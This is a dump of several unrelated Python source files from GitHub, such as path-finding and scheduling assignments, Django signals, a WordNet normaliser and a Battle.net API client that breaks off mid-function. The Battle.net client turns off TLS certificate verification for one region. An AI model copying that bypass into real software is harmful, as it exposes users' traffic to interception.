is a convenience parameter, it's actually a combination\n of `remove` and `add`. The order of processing is:\n\n 1. append the `replace` parameters to `remove` and `add`\n 2. apply `remove`\n 3. apply `add`\n\n :Parameters:\n - `remove`: parameters to remove (see `Query.remove`\n method)\n - `add`: parameters to add (see `Query.add` method)\n - `replace`: parameters to override (see `Query.add` for the\n format)\n\n :Types:\n - `remove`: sequence\n - `add`: sequence\n - `replace`: sequence\n \"\"\"\n remove = list(remove or [])\n add = list(add or [])\n replace = list(replace or [])\n\n # append replace list to remove and add\n remove.extend([tup[0] for tup in replace])\n add.extend(replace)\n\n self.remove(remove)\n self.add(add)\n\n\nfrom wtf import c_override\ncimpl = c_override('_wtf_cutil')\nif cimpl is not None:\n # pylint: disable = E1103\n quote = cimpl.quote\n quote_plus = cimpl.quote_plus\n unquote = cimpl.unquote\n unquote_plus = cimpl.unquote_plus\nelse:\n import urllib as _urllib\n\n def quote(s, safe='/', encoding='utf-8', errors='strict',\n _orig=_urllib.quote):\n \"\"\"\n Replacement for ``urllib.quote``, which also handles unicode.\n\n :Parameters:\n - `s`: The string to quote\n - `safe`: safe characters (not quoted)\n - `encoding`: Encoding to apply in case `s` is unicode\n - `errors`: Error handling in case `s` is unicode\n\n :Types:\n - `s`: ``basestring``\n - `safe`: ``str``\n - `encoding`: ``str``\n - `errors`: ``str``\n\n :return: The quoted string\n :rtype: ``str``\n\n :Exceptions:\n - `UnicodeError`: Encoding error\n \"\"\"\n # pylint: disable = C0103\n\n if isinstance(s, unicode):\n s = s.encode(encoding, errors)\n else:\n s = str(s)\n return _orig(s, safe)\n\n\n def quote_plus(s, safe='/', encoding='utf-8', errors='strict',\n _orig =_urllib.quote_plus):\n \"\"\"\n Replacement for ``urllib.quote_plus``, which also handles unicode.\n\n :Parameters:\n - `s`: The string to quote\n - `safe`: safe characters (not quoted)\n - `encoding`: Encoding to apply in case `s` is unicode\n - `errors`: Error handling in case `s` is unicode\n\n :Types:\n - `s`: ``basestring``\n - `safe`: ``str``\n - `encoding`: ``str``\n - `errors`: ``str``\n\n :return: The quoted string\n :rtype: ``str``\n\n :Exceptions:\n - `UnicodeError`: Encoding error\n \"\"\"\n # pylint: disable = C0103\n\n if isinstance(s, unicode):\n s = s.encode(encoding, errors)\n else:\n s = str(s)\n return _orig(s, safe)\n\n unquote = _urllib.unquote\n unquote_plus = _urllib.unquote_plus\n\ndel c_override, cimpl\n","repo_name":"ndparker/wtf","sub_path":"wtf/webutil.py","file_name":"webutil.py","file_ext":"py","file_size_in_byte":16768,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"5226081491","text":"# -------------------------------------------------------\n# Assignment 1\n# Written by Johnston Stott (40059176)\n# For COMP 472 Section ABIX – Summer 2020\n# --------------------------------------------------------\n\nimport math\nimport time\nfrom queue import PriorityQueue\n\nimport constants\n\n\nclass Node:\n def __init__(self, x_pos, y_pos):\n self.x_pos = x_pos\n self.y_pos = y_pos\n self.f = 0\n self.g = 0\n self.h = 0\n self.prev = []\n\n def __str__(self):\n return f\"({self.x_pos}, {self.y_pos})\"\n\n # This is so when we add a Node to PriorityQueue, de-queueing returns the node with the lowest f value.\n def __lt__(self, other):\n return self.f < other.f\n\n\ndef find_path(orig, dest, node_grid, crime_grid):\n print(\"\\nCalculating path... \", end=\"\")\n start_time = time.time()\n\n # To store nodes that we need to visit.\n open_list = PriorityQueue()\n open_list.put(orig)\n\n # To store nodes that have been visited already.\n closed_list = []\n\n while len(open_list.queue) > 0:\n # Check for exceeding time limit.\n current_time = time.time()\n if current_time - start_time > 9.9:\n break\n\n # Retrieves the node with the lowest f.\n curr = open_list.get()\n curr.prev.append(curr)\n\n # Found a path to the solution, so return a list of predecessors to this node.\n if is_goal(curr, dest):\n end_time = time.time()\n time_elapsed = end_time - start_time\n print(\"Done\\n\\nThe optimal path has been found in\", time_elapsed, \"seconds.\")\n print(f\"The cost of this path is {curr.g}.\")\n return curr.prev\n\n # Search the surrounding nodes of current.\n neighbours = find_neighbours(curr, node_grid)\n closed_list.append(curr)\n\n for n in neighbours:\n # Eliminate nodes that are not reachable.\n if calculate_cost(curr, n, crime_grid) == -1:\n neighbours.remove(n)\n\n # Compute scores of the nodes.\n n.g = curr.g + calculate_cost(curr, n, crime_grid)\n n.h = calculate_h(n, dest)\n n.f = n.g + n.h\n\n # Add them to the open list.\n if n not in open_list.queue:\n n.prev = n.prev + curr.prev\n open_list.put(n)\n\n end_time = time.time()\n time_elapsed = end_time - start_time\n print(\"Done.\\n\\nThe optimal path is not found, searched for\", time_elapsed, \"seconds.\\n\")\n return []\n\n\n# Calculates the cost to go from one node to the other. Returns -1 if this is an invalid path (passes over a block).\ndef calculate_cost(node_a, node_b, crime_grid):\n # Check for None nodes.\n if node_a is None or node_b is None:\n return -1\n\n # Check for non-neighbouring nodes.\n if abs(node_a.x_pos - node_b.x_pos) > 1 or abs(node_a.y_pos - node_b.y_pos) > 1:\n return -1\n\n # Check for same node.\n if node_a.x_pos == node_b.x_pos and node_a.y_pos == node_b.y_pos:\n return -1\n\n grid_up_left = crime_grid[node_a.x_pos - 1][node_a.y_pos]\n grid_up_right = crime_grid[node_a.x_pos][node_a.y_pos]\n grid_down_left = crime_grid[node_a.x_pos - 1][node_a.y_pos - 1]\n grid_down_right = crime_grid[node_a.x_pos][node_a.y_pos - 1]\n\n # Vertical up move.\n if node_a.x_pos == node_b.x_pos and node_a.y_pos == (node_b.y_pos + 1):\n if grid_up_left == 1 and grid_up_right == 1:\n return -1\n elif (grid_up_left == 0 and grid_up_right == 1) or (grid_up_left == 1 and grid_up_right == 1):\n return 1.3\n elif grid_up_left == 0 and grid_up_right == 0:\n return 1\n\n # Vertical down move.\n if node_a.x_pos == node_b.x_pos and node_a.y_pos == (node_b.y_pos - 1):\n if grid_down_left == 1 and grid_down_right == 1:\n return -1\n elif (grid_down_left == 0 and grid_down_right == 1) or (grid_down_left == 1 and grid_down_right == 0):\n return 1.3\n elif grid_down_left == 0 and grid_down_right == 0:\n return 1\n\n # Horizontal left move.\n if node_a.y_pos == node_b.y_pos and node_a.x_pos == (node_b.x_pos + 1):\n if grid_up_left == 1 and grid_down_left == 1:\n return -1\n elif (grid_up_left == 0 and grid_down_left == 1) or (grid_up_left == 1 and grid_down_left == 0):\n return 1.3\n elif grid_up_left == 0 and grid_down_left == 0:\n return 1\n\n # Horizontal right move.\n if node_a.y_pos == node_b.y_pos and node_a.x_pos == (node_b.x_pos - 1):\n if grid_up_right == 1 and grid_down_right == 1:\n return -1\n elif (grid_up_right == 0 and grid_down_right == 1) or (grid_up_right == 1 and grid_down_right == 0):\n return 1.3\n elif grid_up_right == 0 and grid_down_right == 0:\n return 1\n\n # Diagonal up left move.\n if node_a.x_pos == (node_b.x_pos + 1) and node_a.y_pos == (node_b.y_pos + 1):\n if grid_up_left == 1:\n return -1\n elif grid_up_left == 0:\n return 1.5\n\n # Diagonal up right move\n if node_a.x_pos == (node_b.x_pos - 1) and node_a.y_pos == (node_b.y_pos + 1):\n if grid_up_right == 1:\n return -1\n elif grid_up_right == 0:\n return 1.5\n\n # Diagonal down left move.\n if node_a.x_pos == (node_b.x_pos + 1) and node_a.y_pos == (node_b.y_pos - 1):\n if grid_down_left == 1:\n return -1\n elif grid_down_left == 0:\n return 1.5\n\n # Diagonal down right move.\n if node_a.x_pos == (node_b.x_pos - 1) and node_a.y_pos == (node_b.y_pos - 1):\n if grid_down_right == 1:\n return -1\n elif grid_down_right == 0:\n return 1.5\n\n return -1\n\n\n# Look in all directions and if there is a node there (not out of bounds), then add it and return the list.\ndef find_neighbours(node, node_grid):\n neighbours = []\n\n x_index = node.x_pos - 1\n y_index = node.y_pos\n x_size = len(node_grid)\n y_size = len(node_grid[0])\n\n # Up left.\n if 0 <= x_index - 1 < x_size and 0 <= y_index < y_size:\n neighbour = node_grid[x_index - 1][y_index - 1]\n neighbours.append(neighbour)\n\n # Up.\n if 0 <= x_index < x_size and 0 <= y_index - 1 < y_size:\n neighbour = node_grid[x_index][y_index - 1]\n neighbours.append(neighbour)\n\n # Up right.\n if 0 <= x_index + 1 < x_size and 0 <= y_index - 1 < y_size:\n neighbour = node_grid[x_index + 1][y_index - 1]\n neighbours.append(neighbour)\n\n # Left.\n if 0 <= x_index - 1 < x_size and 0 <= y_index < y_size:\n neighbour = node_grid[x_index - 1][y_index]\n neighbours.append(neighbour)\n\n # Right.\n if 0 <= x_index + 1 < x_size and 0 <= y_index < y_size:\n neighbour = node_grid[x_index + 1][y_index]\n neighbours.append(neighbour)\n\n # Down left.\n if 0 <= x_index - 1 < x_size and 0 <= y_index + 1 < y_size:\n neighbour = node_grid[x_index - 1][y_index + 1]\n neighbours.append(neighbour)\n\n # Down.\n if 0 <= x_index < x_size and 0 <= y_index + 1 < y_size:\n neighbour = node_grid[x_index][y_index + 1]\n neighbours.append(neighbour)\n\n # Down right.\n if 0 <= x_index + 1 < x_size and 0 <= y_index + 1 < y_size:\n neighbour = node_grid[x_index + 1][y_index + 1]\n neighbours.append(neighbour)\n\n return neighbours\n\n\n# Constructs a list of nodes along the path from the node passed as an argument.\ndef revisit_path(node):\n path = []\n\n curr = node\n path.append(curr)\n\n # Once we arrive at a node with prev None, this is the starting node.\n while curr.prev is not None:\n prev = curr.prev\n print(prev)\n path.append(prev)\n curr = prev\n\n return path\n\n\n# Creates a 2D array of nodes to be used for path finding.\ndef generate_grid(grid_size):\n # Determine what the dimensions will be based on the grid size. Subtract 1 to account for inaccessible edges.\n x_size = int(constants.TOT_LON / grid_size) - 1\n y_size = int(constants.TOT_LAT / grid_size) - 1\n\n # Create and fill the list with nodes. Use crime array passed in to see if this is a crime block or not.\n grid = [[None for i in range(0, x_size)] for j in range(0, y_size)]\n\n for i in range(0, x_size):\n for j in range(1, y_size + 1):\n grid[j - 1][i] = Node(j, i)\n\n return grid\n\n\n# Heuristic function to estimate the cost between the current node and the goal node.\n# It does this by comparing the positions of the two nodes and determining how many vertical, horizontal, or diagonal\n# moves are needed to get there if there were no blocks in the way.\n# By doing it this way, we ensure that the heuristic is never overestimated.\ndef calculate_h(node, goal):\n hor_diff = abs(node.x_pos - goal.x_pos)\n ver_diff = abs(node.y_pos - goal.y_pos)\n\n # The current node and goal node are aligned vertically. Can get there with straight line.\n if hor_diff == 0:\n return 1 * ver_diff\n # The current node and goal node are aligned horizontally. Can get there with straight line.\n elif ver_diff == 0:\n return 1 * hor_diff\n # Only need to move horizontally to get there.\n elif hor_diff == ver_diff:\n return 1.5 * hor_diff\n # Need to move more horizontally than vertically.\n elif hor_diff > ver_diff:\n diff = hor_diff - ver_diff\n return diff * 1 + ver_diff * 1.5\n # Need to move more vertically than horizontally.\n elif ver_diff > hor_diff:\n diff = ver_diff - hor_diff\n return diff * 1 + hor_diff * 1.5\n\n\n# To determine if a certain node is the goal node.\ndef is_goal(node, goal):\n return node.x_pos == goal.x_pos and node.y_pos == goal.y_pos\n\n\n# Takes a list [lon, lat] and returns the corresponding grid coordinates based on the grid size.\ndef coord_to_grid(coords, grid_size):\n # Find x grid.\n x_pos = math.floor((coords[0] - constants.MIN_LON) / grid_size)\n # Find y grid.\n y_pos = math.floor((constants.MAX_LAT - coords[1]) / grid_size)\n\n return [x_pos, y_pos]\n\n\n# Takes a list [x, y] and returns the coordinates of this grid (the coordinates of the lower left corner).\ndef grid_to_coord(grid_pos, grid_size):\n # Find lon coordinate.\n lon_coord = constants.MIN_LON + (grid_pos[0] * grid_size)\n # Find lat coordinate.\n lat_coord = constants.MAX_LAT - (grid_pos[1] * grid_size + grid_size)\n\n return [lon_coord, lat_coord]\n","repo_name":"johnstonstott/COMP_472_A1","sub_path":"src/path_finding.py","file_name":"path_finding.py","file_ext":"py","file_size_in_byte":10437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14582254055","text":"import sys\nfrom collections import deque\n\n\ndef bfs(s):\n ans = []\n q = deque([(s, 0)])\n visit = [0] * (N + 1)\n visit[s] = 1\n while q:\n n, t = q.popleft()\n if t == K:\n ans.append(n)\n for v in graph[n]:\n if not visit[v]:\n visit[v] = 1\n q.append((v, t + 1))\n if not ans:\n print(-1)\n else:\n ans.sort()\n for n in ans:\n print(n)\n\n\ninput = sys.stdin.readline\nN, M, K, X = map(int, input().split())\ngraph = [[] for _ in range(N + 1)]\nfor _ in range(M):\n A, B = map(int, input().split())\n graph[A].append(B)\nbfs(X)\n","repo_name":"dannyp0930/algorithm","sub_path":"baekjoon/18352_특정 거리의 도시 찾기.py","file_name":"18352_특정 거리의 도시 찾기.py","file_ext":"py","file_size_in_byte":637,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28154861563","text":"import random\n\n# setting up the original list\no = [16, 51, 20, 45, 20, 2, 42, 50, 26, 16, 25, 3, 13, 14, 38, 15, 48, 32, 55, 7, 35, 46, 11, 5, 51, 56, 40, 38, 5,\n 23, 5, 55, 58, 32, 6, 24, 31, 19, 56, 54, 27, 15, 1, 7, 31, 27, 58, 19, 58, 6, 7, 26, 49, 51, 42, 29, 41, 16,\n 53, 24, 21, 4, 45, 4, 12, 30, 5, 41, 9, 14, 44, 30, 35, 1, 40, 20, 46, 4, 34, 25, 58, 21, 40, 59, 16, 38, 6, 8,\n 50, 36, 42, 16, 26, 32, 34, 23, 29, 57, 55, 1]\n# o = [] # this is for testing my algorithm\n# for j in range(100):\n# num = random.randint(1, 100)\n# o.append(num)\n# copy the original list for to make first biggest jobs\ngmax = o.copy()\n# setting processors\np1 = []\np2 = []\np3 = []\np4 = []\n# sorting the list to find biggest\ngmax.sort()\n# assigning jobs to processors which is biggest // it was not greedy i deleted.\n# for x in range(len(gmax) // 4): # for 100/4 = 25 times\n# p1.append(gmax.pop()) # pop the last element of list gmax, add it to the processors\n# p2.append(gmax.pop())\n# p3.append(gmax.pop())\n# p4.append(gmax.pop())\nwhile len(gmax) >= 1:\n ap = min(sum(p1), sum(p2), sum(p3), sum(p4)) # available processor which means minimum work\n if sum(p1) <= ap: # add the next biggest value to the available processor\n p1.append(gmax.pop())\n elif sum(p2) <= ap:\n p2.append(gmax.pop())\n elif sum(p3) <= ap:\n p3.append(gmax.pop())\n elif sum(p4) <= ap:\n p4.append(gmax.pop())\n# printing the total work time\nprint(\"Longest jobs first with greedy algorithm\")\nprint(\"P1=\", p1, \"Work time =\", sum(p1))\nprint(\"P2=\", p2, \"Work time =\", sum(p2))\nprint(\"P3=\", p3, \"Work time =\", sum(p3))\nprint(\"P4=\", p4, \"Work time =\", sum(p4))\nprint(\"Total work time =\", max(sum(p1), sum(p2), sum(p3), sum(p4)))\n# shortest jobs first\ngmin = o.copy()\n# Sorting\ngmin.sort()\n# Reversing the list\ngmin.reverse()\n# defining new lists\np1x = []\np2x = []\np3x = []\np4x = []\nfor x in range(len(gmin) // 4): # for 100/4 = 25 times\n p1x.append(gmin.pop()) # pop the last element of list gmin, add it to the processors\n p2x.append(gmin.pop())\n p3x.append(gmin.pop())\n p4x.append(gmin.pop())\n# printing the total work time\nprint(\"Shortest jobs first with greedy algorithm\")\nprint(\"P1=\", p1x, \"Work time =\", sum(p1x))\nprint(\"P2=\", p2x, \"Work time =\", sum(p2x))\nprint(\"P3=\", p3x, \"Work time =\", sum(p3x))\nprint(\"P4=\", p4x, \"Work time =\", sum(p4x))\nprint(\"Total work time =\", max(sum(p1x), sum(p2x), sum(p3x), sum(p4x)))\n# this is completely my algorithm\nmyAlg = o.copy() # copy the original list\nmyAlg.sort() # sort it\np1a = [] # identify the empty arrays\np2a = []\np3a = []\np4a = []\nwhile len(myAlg) >= 1:\n p1a.append(myAlg.pop()) # biggest number into processor 1\n maxi = sum(p1a) # processor 1 is always maximum array\n while sum(myAlg) >= 1 and sum(p2a) < maxi: # if there is an element in the list and p2 lower than max\n if sum(p2a) + myAlg[-1] < maxi: # if the summation of last element and p2 will be lower than max\n p2a.append(myAlg.pop()) # add this last element into p2\n else:\n break\n while sum(myAlg) >= 1 and sum(p3a) < maxi: # same as p2\n if sum(p3a) + myAlg[-1] < maxi:\n p3a.append(myAlg.pop())\n else:\n break\n while sum(myAlg) >= 1 and sum(p4a) < maxi: # same as p2\n if sum(p4a) + myAlg[-1] < maxi:\n p4a.append(myAlg.pop())\n else:\n break\nmini = min(p1a, p2a, p3a, p4a) # find minimum work on array\nmini.append(p1a.pop()) # take the last value of p1 and add it to the minimum array\n# printing the total work time\nprint(\"My algorithm\")\nprint(\"P1=\", p1a, \"Work time =\", sum(p1a))\nprint(\"P2=\", p2a, \"Work time =\", sum(p2a))\nprint(\"P3=\", p3a, \"Work time =\", sum(p3a))\nprint(\"P4=\", p4a, \"Work time =\", sum(p4a))\nprint(\"Total work time =\", max(sum(p1a), sum(p2a), sum(p3a), sum(p4a)))\n","repo_name":"thonwhal/Algoritma-Analizi","sub_path":"project4/greedisgood.py","file_name":"greedisgood.py","file_ext":"py","file_size_in_byte":3867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14889720875","text":"from django.db.models.signals import post_save, post_delete, pre_delete\nfrom django.dispatch import receiver\n\nfrom lessons.models import Subscription\nfrom .models import OrderLineItem\n\n\n@receiver(post_save, sender=OrderLineItem)\ndef update_on_save(sender, instance, created, **kwargs):\n \"\"\"\n Update order total on lineitem update/create\n \"\"\"\n instance.order.update_total()\n lesson_subscription = Subscription(lesson=instance.lesson,\n user=instance.profile)\n lesson_subscription.save()\n\n\n@receiver(post_delete, sender=OrderLineItem)\ndef update_on_delete(sender, instance, **kwargs):\n \"\"\"\n Update order total on lineitem delete\n \"\"\"\n instance.order.update_total()\n\n\n@receiver(pre_delete, sender=OrderLineItem)\ndef delete_associated_subscriptions(sender, instance, using, **kwargs):\n \"\"\"\n Delete all subscriptions to paid lesson being deleted\n \"\"\"\n Subscription.objects.filter(user=instance.profile,\n lesson=instance.lesson).delete()\n","repo_name":"KelvinHere/Yoga_Milestone_4","sub_path":"work/checkout/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"74707053532","text":"import geojson\nimport pytest\n\nfrom napari_geojson import write_shapes\n\nellipse = [[[0, 0], [0, 5], [5, 5], [5, 0]], \"ellipse\", \"Polygon\"]\nline = [[[0, 0], [5, 5]], \"line\", \"LineString\"]\npolygon = [[[0, 0], [5, 5], [0, 10]], \"polygon\", \"Polygon\"]\npolyline = [[[0, 0], [5, 5], [0, 10]], \"path\", \"LineString\"]\nrectangle = [[[0, 0], [0, 5], [5, 5], [5, 0]], \"rectangle\", \"Polygon\"]\n\nsample_shapes = [ellipse, line, polygon, polyline, rectangle]\nsample_shapes_ids = [\"ellipse\", \"line\", \"polygon\", \"polyline\", \"rectangle\"]\n\n\n# @pytest.mark.parametrize(\n# \"coords,shape_type,expected\", sample_shapes, ids=sample_shapes_ids\n# )\n# def test_write_each_shape(\n# make_napari_viewer, tmp_path, coords, shape_type, expected\n# ): # noqa E501\n# \"\"\"Writer writes a shapes layer as GeoJSON.\"\"\"\n# fname = str(tmp_path / \"sample.geojson\")\n# viewer = make_napari_viewer()\n# shapes_layer = viewer.add_shapes(coords, shape_type=shape_type)\n# # shape was written\n# assert len(shapes_layer.data) == 1\n\n# data, meta, _ = shapes_layer.as_layer_data_tuple()\n# write_shapes(fname, data, meta)\n\n# # read back\n# with open(fname) as fp:\n# collection = geojson.load(fp)\n# geom = collection[\"geometries\"][0]\n# assert geom.type == expected\n","repo_name":"tdmorello/napari-geojson","sub_path":"src/napari_geojson/_tests/test_writer.py","file_name":"test_writer.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40287627568","text":"# 이해가 안가 ~\n## https://jennnn.tistory.com/83\nimport heapq\n\ndef dijkstra(dist, adj):\n # 출발노드를 기준으로 각 노드들의 최소비용 탐색\n heap = []\n heapq.heappush(heap, [0, 1])\n \n while heap :\n cost, node = heapq.heappop(heap)\n for c, n in adj[node]:\n if cost + c < dist[n]:\n dist[n] = cost + c\n heapq.heappush(heap, [cost + c, n])\n \n \ndef solution(N, road, K):\n dist = [float('inf')] * (N + 1) # dist배열 만들고 최소거리 갱신 \n dist[1] = 0 # 1번은 자기자신이라 거리는 0\n adj = [[]for _ in range(N + 1)] # 인접노드와 거리를 기록할 배열\n \n for r in road:\n adj[r[0]].append([r[2], r[1]])\n adj[r[1]].append([r[2], r[0]])\n \n dijkstra(dist, adj)\n \n return len([i for i in dist if i <= K])","repo_name":"simsang1l/Programmers","sub_path":"python/level2/다시보기/���달.py","file_name":"배달.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11798539751","text":"from nltk.corpus import wordnet as wn, stopwords\nimport re\nimport nltk\nimport collections\n\ndef clean(word, to_list = False):\n '''\n Normalizes a word by making it lowercase, removing excess punctuation,\n and putting the word, if possible, into a form which wordnet recognizes.\n Stop words (are, the, on, etc) are not counted.\n Inputs:\n word: string, word to be normalized\n\n Returns a string when word can be normalized and is not a stop word, returns\n nothing if given punctuation or a stop word\n '''\n words = re.sub(r'[-\\n]', ' ', word.lower()).split(' ')\n if to_list:\n processed = []\n for w in words:\n to_check = re.sub(r'[^a-z]', '', w)\n if to_check != None and len(to_check) != 0 and to_check not in\\\n stopwords.words('english'):\n morph = wn.morphy(to_check)\n if morph:\n processed.append(morph)\n else:\n processed.append(to_check)\n return processed\n else:\n processed = set()\n for w in words:\n to_check = re.sub(r'[^a-z]', '', w)\n if to_check != None and len(to_check) != 0 and to_check not in\\\n stopwords.words('english'):\n morph = wn.morphy(to_check)\n if morph:\n processed.add(morph)\n else:\n processed.add(to_check)\n return processed\n\ndef get_hypo(synset):\n '''\n given a synset, returns a set hyponyms with given synset in their\n hypernym path \n\n Inputs:\n synset: synset object to get all hyponyms of\n \n Returns a set containing all hyponyms\n '''\n hypos = set()\n hypos.update(*[get_hypo(h) for h in synset.hyponyms()])\n return hypos | set(synset.hyponyms())\n\ndef relevant_hyper(synset, axis):\n '''\n Given a synset, finds relevant hypernyms, ie pasta for lasagna\n \n Inputs:\n synset: synset object to get hypernyms of\n axis: boolean representing which foodsynset given synset is a member of\n false represents n1, dishes, true represents n2, ingredients \n submit: part of recursive step, way to know \n\n Returns set of hypernyms with relevant search terms of submitted synset\n '''\n if axis:\n for word in synset.hypernyms():\n if word == wn.synset('food.n.02'):\n return set((synset,))\n to_add = relevant_hyper(word, axis)\n if to_add:\n return set((synset,))|to_add\n else:\n for word in synset.hypernyms():\n if word.hypernyms():\n if word.hypernyms()[0] == wn.synset('food.n.01'):\n return set((synset,))\n to_add = relevant_hyper(word, axis)\n if to_add:\n return set((synset,))|to_add\n food_list = (get_hypo(wn.synset('food.n.01')),\\\n get_hypo(wn.synset('food.n.02')))\n\ndef is_food(item):\n '''\n finds synsets if item is food, for both food synsets. the first one corresponds more\n to dishes and the second more to ingredients.\n\n Inputs:\n item: string to be searched. multiple words must be \n\n Returns tuple containing relevant synsets, will return empty if there are none\n '''\n synsets = wn.synsets(item, 'n')\n food = [None,None]\n for s in synsets:\n if not food[0] and s in food_list[0]:\n food[0] = s\n if not food[1] and s in food_list[1]:\n food[1] = s\n elif food[0] and food[1]:\n break\n if food[0] or food[1]:\n return food\n\ndef categorize(dict):\n '''\n Categorizes items based on the dictionary provided from crawler\n Inputs:\n dict: dictionary from crawler, containing item name as the key\n and item description as the value.\n Return: a dictionary containing item name as the key. The value is a length\n 3 tuple containing a set synsets of any food-dish hyponyms, a set of synsets\n of any food-ingredient hyponym, and a set of all other words, normalized.\n\n '''\n columns = {}\n for key, value in dict.items():\n sort = (set(),set(),set(), value[1])\n if value[0]:\n words = clean(value[0] + ' ' + key)\n else:\n words = clean(key)\n for w in words:\n to_add = is_food(w)\n if to_add:\n if to_add[0]:\n hypers = relevant_hyper(to_add[0], False)\n if hypers:\n sort[0].update(hypers)\n if to_add[1]:\n sort[1].update(relevant_hyper(to_add[1], True))\n else:\n sort[2].add(w)\n columns[key] = sort\n return columns","repo_name":"thomaswilwilson/UCCS","sub_path":"cs122-project-FWF/oursite/normalize.py","file_name":"normalize.py","file_ext":"py","file_size_in_byte":4714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27324006561","text":"import logging\nfrom operator import itemgetter\n\nfrom django.conf import settings\nfrom django.core.cache import cache\nfrom django.template.defaultfilters import slugify\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom requests import Session\nfrom requests import Request\nfrom requests.exceptions import RequestException\n\nfrom ..accounts.models import User\n\nlogger = logging.getLogger('battlenet-api')\n\nRETRY = 5\n\nGENDERS = {\n 0: _('Male'),\n 1: _('Female')\n}\n\nFACTIONS = {\n 0: _('Alliance'),\n 1: _('Horde'),\n 2: _('Neutral'),\n}\n\nFACTIONS_RACES = {\n 0: [1, 3, 4, 7, 11, 22, 25],\n 1: [2, 5, 6, 8, 9, 10, 26],\n 2: [24],\n}\n\nRACES = {\n 1: _('Human'),\n 2: _('Orc'),\n 3: _('Dwarf'),\n 4: _('Night Elf'),\n 5: _('Undead'),\n 6: _('Tauren'),\n 7: _('Gnome'),\n 8: _('Troll'),\n 9: _('Goblin'),\n 10: _('Blood Elf'),\n 11: _('Draenei'),\n 22: _('Worgen'),\n 24: _('Pandaren'),\n 25: _('Pandaren'),\n 26: _('Pandaren')\n}\n\nCLASSES = {\n 1: _('Warrior'),\n 2: _('Paladin'),\n 3: _('Hunter'),\n 4: _('Rogue'),\n 5: _('Priest'),\n 6: _('Death Knight'),\n 7: _('Shaman'),\n 8: _('Mage'),\n 9: _('Warlock'),\n 10: _('Monk'),\n 11: _('Druid')\n}\n\n\ndef _retry(url, params={}, **kwargs):\n count = 0\n s = Session()\n params.update({'apikey': settings.SOCIAL_AUTH_BATTLENET_OAUTH2_KEY})\n while count < RETRY:\n try:\n req = Request('GET', url, params=params)\n prepped = req.prepare()\n resp = s.send(prepped, **kwargs)\n resp.json().get('status')\n logger.info(\"%s %s\" % (prepped.url, resp.status_code))\n return resp\n except (RequestException, ValueError):\n logger.info(prepped.url)\n pass\n count += 1\n\n\ndef get_connected_realms(region, realm):\n for r in get_realms(region):\n if r['slug'] == realm:\n return r.get(\"connected_realms\", tuple())\n return [realm]\n\n\ndef get_regions():\n from ..bounties.models import Bounty\n\n regions = []\n for slug, name in Bounty.REGION_CHOICES:\n regions.append({'slug': slug, 'name': str(name)})\n return regions\n\n\ndef refresh_player_cache(user):\n battletag, _ = get_player_battletag(user, update=True)\n user.battletag = battletag\n user.save()\n get_player_characters(user, update=True)\n\n\n# CACHED\ndef get_realms(region, update=False):\n key = 'battlenet:realms:%s' % region\n realms = cache.get(key)\n if realms is None or update:\n realms = []\n r = _retry('https://%s.api.battle.net/wow/realm/status' % region)\n if not r:\n return realms\n realms = r.json().get('realms')\n # Dirty fix for Burning Legion\n if region == \"eu\":\n for realm in realms:\n if realm.get('slug') == 'internal-record-3713':\n realm['slug'] = 'burning-legion'\n realm['name'] = 'Burning Legion'\n realm['connected_realms'] = ['burning-legion']\n cache.set(key, realms, timeout=settings.BATTLENET_CACHE.get('realms'))\n return realms\n\n\ndef is_character_exists(region, realm, character):\n r = get_character(region, realm, character)\n if r:\n return True, r\n return False, None\n\n\n# CACHED\ndef get_character(region, realm, name, update=False, keep_latest=False):\n key = 'battlenet:character:%s:%s:%s' % (region, realm, slugify(name))\n character = cache.get(key)\n if character is None or update:\n character = {}\n r = _retry('https://%s.api.battle.net/wow/character/%s/%s?fields=guild' % (\n region, realm, name))\n if r and r.json().get('status') != 'nok':\n character = r.json()\n for faction_id, races in FACTIONS_RACES.items():\n if character.get('race') in races:\n character.update({'faction': faction_id})\n if not character and keep_latest:\n return character\n cache.set(key, character, timeout=settings.BATTLENET_CACHE.get('character'))\n return character\n\n\ndef is_guild_exists(region, realm, guild):\n r = get_guild(region, realm, guild)\n if r:\n return True, r\n return False, None\n\n\n# CACHED\ndef get_guild(region, realm, name, update=False, keep_latest=False):\n key = 'battlenet:guild:%s:%s:%s' % (region, realm, slugify(name))\n guild = cache.get(key)\n if guild is None or update:\n guild = {}\n r = _retry('https://%s.api.battle.net/wow/guild/%s/%s' % (region, realm, name))\n if r and r.json().get('status') != 'nok':\n guild = r.json()\n if not guild and keep_latest:\n return guild\n cache.set(key, guild, timeout=settings.BATTLENET_CACHE.get('guild'))\n return guild\n\n\ndef is_player_character(user, character, realm, regions=None):\n characters = get_player_characters(user, regions)\n for c in characters:\n if character.lower() == c['name'].lower() and \\\n realm == c['normalized_realm']:\n return True\n return False\n\n\n# CACHE\ndef get_player_characters(user, regions=None, update=False):\n if not isinstance(user, User):\n user = User.objects.get(pk=user)\n base_key = 'battlenet:player-characters:%s' % user.pk\n characters = []\n if not hasattr(user, 'social_auth') or not user.social_auth.exists():\n return characters\n if regions is None:\n regions = [r['slug'] for r in get_regions()]\n if not isinstance(regions, list):\n regions = [regions]\n\n for region in regions:\n key = base_key + ':' + region\n r_characters = cache.get(key)\n if r_characters is None or update:\n r_characters = []\n kwargs = {}\n base_url = 'https://%s.api.battle.net' % region\n if region == 'cn':\n kwargs = {'verify': False}\n base_url = 'https://cn.api.battlenet.com'\n r = _retry(\n '%s/wow/user/characters' % base_url,\n params={'access_token': user.social_auth.first().access_token},\n **kwargs)\n try:\n if not r or r.json().get('status') == 'nok':\n continue\n else:\n for character in r.json().get('characters'):\n if character.get('level') < 